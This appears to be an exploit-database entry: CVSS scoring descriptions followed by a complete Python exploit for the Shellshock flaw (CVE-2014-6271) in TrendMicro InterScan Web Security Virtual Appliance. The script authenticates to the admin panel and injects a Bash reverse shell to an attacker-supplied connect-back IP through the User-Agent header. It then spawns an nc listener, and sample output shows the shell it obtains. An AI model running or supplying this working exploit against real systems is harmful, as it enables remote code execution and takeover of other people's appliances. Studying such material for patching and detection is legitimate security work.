The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
TrendMicro InterScan Web Security Virtual Appliance Shellshock#!/usr/bin/env python
# TrendMicro InterScan Web Security Virtul Appliance
# ==================================================
# InterScan Web Security is a software virtual appliance that
# dynamically protects against the ever-growing flood of web
# threats at the Internet gateway exclusively designed to secure
# you against traditional and emerging web threats at the Internet
# gateway. The appliance however is shipped with a vulnerable
# version of Bash susceptible to shellshock (I know right?). An
# attacker can exploit this vulnerability by calling the CGI
# shellscript "/cgi-bin/cgiCmdNotify" which can be exploited
# to perform arbitrary code execution. A limitation of this
# vulnerability is that the attacker must have credentials for
# the admin web interface to exploit this flaw. The panel runs
# over HTTP by default so a man-in-the-middle attack could be
# used to gain credentials and compromise the appliance.
#
# $ python trendmicro_IWSVA_shellshock.py 192.168.56.101 admin password 192.168.56.1
# [+] TrendMicro InterScan Web Security Virtual Appliance CVE-2014-6271 exploit
# [-] Authenticating to '192.168.56.101' with 'admin' 'password'
# [-] JSESSIONID = DDE38E62757ADC00A51311F1F953EEBA
# [-] exploiting shellshock CVE-2014-6271...
# bash: no job control in this shell
# bash-4.1$ id
# uid=498(iscan) gid=499(iscan) groups=499(iscan)
#
# -- Hacker Fantastic
#
# (https://www.myhackerhouse.com)
import SimpleHTTPServer
import subprocess
import requests
import sys
import os
def spawn_listener():
os.system("nc -l 8080")
def shellshock(ip,session,cbip):
user_agent = {'User-agent': '() { :; }; /bin/bash -i >& /dev/tcp/'+cbip+'/8080 0>&1'}
cookies = {'JSESSIONID': session}
print "[-] exploiting shellshock CVE-2014-6271..."
myreq = requests.get("http://"+ip+":1812/cgi-bin/cgiCmdNotify", headers = user_agent, cookies = cookies)
def login_http(ip,user,password):
mydata = {'wherefrom':'','wronglogon':'no','uid':user, 'passwd':password,'pwd':'Log+On'}
print "[-] Authenticating to '%s' with '%s' '%s'" % (ip,user,password)
myreq = requests.post("http://"+ip+":1812/uilogonsubmit.jsp", data=mydata)
session_cookie = myreq.history[0].cookies.get('JSESSIONID')
print "[-] JSESSIONID = %s" % session_cookie
return session_cookie
if __name__ == "__main__":
print "[+] TrendMicro InterScan Web Security Virtual Appliance CVE-2014-6271 exploit"
if len(sys.argv) < 5:
print "[-] use with <ip> <user> <pass> <connectback_ip>"
sys.exit()
newRef=os.fork()
if newRef==0:
spawn_listener()
else:
session = login_http(sys.argv[1],sys.argv[2],sys.argv[3])
shellshock(sys.argv[1],session,sys.argv[4])
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